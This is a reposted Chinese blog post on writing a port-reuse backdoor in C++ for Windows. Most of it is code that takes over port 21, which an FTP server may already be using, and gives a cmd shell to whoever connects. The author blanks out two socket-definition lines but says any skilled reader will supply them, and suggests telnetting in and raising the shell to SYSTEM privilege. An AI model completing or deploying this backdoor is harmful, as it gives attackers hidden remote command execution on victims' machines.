谈C++中的端口复用后门的编写

来源:互联网 发布:净水器滤芯 知乎 编辑:程序博客网 时间:2024/06/03 18:12

原文:http://hi.baidu.com/biweilun/blog/item/8c13b5197fb9514143a9adad.html

端口复用后门很多人认为挺有难度的,要强行将Windows正在使用的开放端口占掉,然后插入我们的后门,一般人都以为必须在ring0下面进行,其实完全没有必要,下面给出一段我研究的代码,去除了几行关键的代码,防止居心不良的人直接拿去编译。加上了注释,将就着看吧?效果还是不错的,也很简洁

#include <stdio.h>
#include <windows.h>  
#include <winsock.h>  
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;           //初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);          //注意要用WSASocket
*************        //去掉这2行关键的定义代码
**********
setsockopt(listenFD,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val));
//监听本机21端口,可以直接抢占FTP软件正在使用的端口
struct sockaddr_in server;
server.sin_family =AF_INET;
server.sin_port =htons(21);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));            //定义地址指针
ret=listen(listenFD,2);                  //如果客户请求21端口,接受连接

int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags =STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
                 //设置为输入输出句柄为Socket
si.hStdInput=si.hStdOutput =si.hStdError =(void *)clientFD;
char cmdLine[]="cmd";
PROCESS_INFORMATION ProcessInformation;            //建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}

懂的人一下子就能明白那2行代码是什么了,对高手来说没什么技术含量,这个后门打开后可以直接Telnet 21端口上去,朋友可以自行修改,提升system权限 

原创粉丝点击